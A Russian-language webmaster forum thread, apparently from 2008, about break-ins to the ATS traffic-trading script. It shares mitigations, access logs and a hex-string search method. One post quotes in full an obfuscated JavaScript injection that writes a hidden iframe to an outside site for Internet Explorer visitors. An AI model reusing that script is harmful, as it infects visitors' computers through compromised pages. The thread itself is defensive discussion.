Очень нестандартный трейдер или взлом АТS?

В общем, срочные меры такие: 1. Закрыть авторегистрацию трейдеров; 2. Поставить права 644 на темплейт и файлы установок; 3. Зашифровать пароль. На выходных выложу апдейт, который закроет дырку.

Ребят, а какую версию АТС ломали? Отпишите подробнее??

1.6.3 у меня

Чорт... нада закрываться...

у меня 1.7.1

и еще может не в тему.. постоянно стали выскакивать сообщения при первом заходе в админку сиджа, при второй попытке все ок.

Warning: Cannot modify header information - headers already sent by (output started at /usr/home/user/www/xxx.net/settings/ca.php:92) in /usr/home/user/www/xxx.net/admin.php on line 32

Warning: Cannot modify header information - headers already sent by (output started at /usr/home/user/www/xxx.net/settings/ca.php:92) in /usr/home/user/www/xxx.net/admin.php on line 38

У кого АТС со Стримом - проверьте шаблоны в ротаторе, там в конце код ифрейма!

Gidz писал:

это оно? <script> var s='3C696672616D65207372633D22687474703A2F2F7777772E63656C6562726974796E796D70686F2E6 36F6D2F73742F6E69636865732F7A2F7374617469632E70687022206865696768743D223222207374796 C653D22646973706C61793A6E6F6E65222077696474683D2232223E3C2F696672616D653E'; var o=''; for(i=0;i<s.length;i=i+2) { var c=String.fromCharCode(37); o=o+c+s.substr(i,2);} var v=navigator.userAgent.toLowerCase(); if (v.indexOf('msie') != -1 && v.indexOf('nt 6.') == -1){document.write(unescape(o));}</script>

У кого такая херня, значит бэкдором заразили сервер с помощью пхп-шеллов. Поможет только зачистка всего сервера. Надо делать поиск по содержимому с поиском 3C69667 и 202069662 и последующим удалением всего непотребного.
Кто не умеет сам, за небольшую плату помогу.

(потёрто)

блин, тоже такая хрень ((
причем капча у меня была включена и трейдеров никаких не добавлялось....

слёзно прошу - дайте аксеслоги апача(нгинкса) поломанных доменов, 99.999% что ломают скрипт через фейкового реферера или query_string, это лечится банальным хтаксесом.

стукни в асю как появишся, скину логи

Вопрос по темплейту, от тех кто ещё не зацепил, но сохраняет бдительность. Имеется ввиду темплейт топлиста?

Оффтопик: Ну вот и до АТС добрались хацкеры поганые

Parker писал:

Вопрос по темплейту, от тех кто ещё не зацепил, но сохраняет бдительность. Имеется ввиду темплейт топлиста?

Я так понял, что именно про темплэйт топ-листа речь...
P.S. Нада уже похоже на платные скрипты переходить...

to Project
А платные не ломают ?

Дырка в ATX, вроде не боян...

AdBizWork писал:

to Project А платные не ломают ?

Из-за меньше популярности вряд ли скоро начнут ломать...

То есть, вредоносный php скрипт - это улрл трейдера который после добаления в топлист делает бяку? Прикольно.

не совсем урл трейдера вроде... как то хитро добавляется... возможно как аська.... пока еще не разобрался. понятно только что при заходе в админку он дергается и заражается сервер.
а может у всех разными способами добавлялся, не знаю ) пока вот один способ только наблюдаю

ага у меня ломанули 1.7.1 нашел в трейд рулезах.

Цитата:

добавляет гадость во все shtml файлы какие найдет

В общем ответ на мой вопрос найден.
Одним топлистом дело не обходится.

с разработчиками ATS пытался связаться - что то молчат.
То ли не интересно, то ли нет никого )

не знаю как у кого но у меня с поломанного сиджа лезло в комп вот это
C:\\windows\system32\bratsk.exe хм ща буду копаться в темпе где эта дрянь сидит

Расколупайте джаву, определите куда сливается ваш трафик и кидайте арбузы, снесут домен считай их работа в жопу

ЗЫ
закрыто полностью по ипу и поставлена заплата
ниче не сломано

тьфу 3 раза

у меня взломали сервер через форму добавления в версии 1.6.3

логи такого плана

ip- - [04/Nov/2008:15:53:12 +0000] "POST /admin.php?&s=settings&pg=tr HTTP/1.0" 200 18997 "http://79.135.187.18/ats/ats.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3"
ip - - [04/Nov/2008:15:53:47 +0000] "POST /admin.php?&s=settings&pg=tr HTTP/1.0" 200 18997 "http://79.135.187.18/ats/ats.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3"
ip - - [04/Nov/2008:15:54:07 +0000] "POST /admin.php?&s=settings&pg=tr HTTP/1.0" 200 18997 "http://79.135.187.18/ats/ats.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3"
ip - - [04/Nov/2008:15:59:00 +0000] "POST /admin.php?&s=settings&pg=tr HTTP/1.0" 200 18997 "http://79.135.187.18/ats/ats.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3"

с этим рефером http://79.135.187.18/ats/ats.php вы заходили в админку

у меня 870 файлов было заражено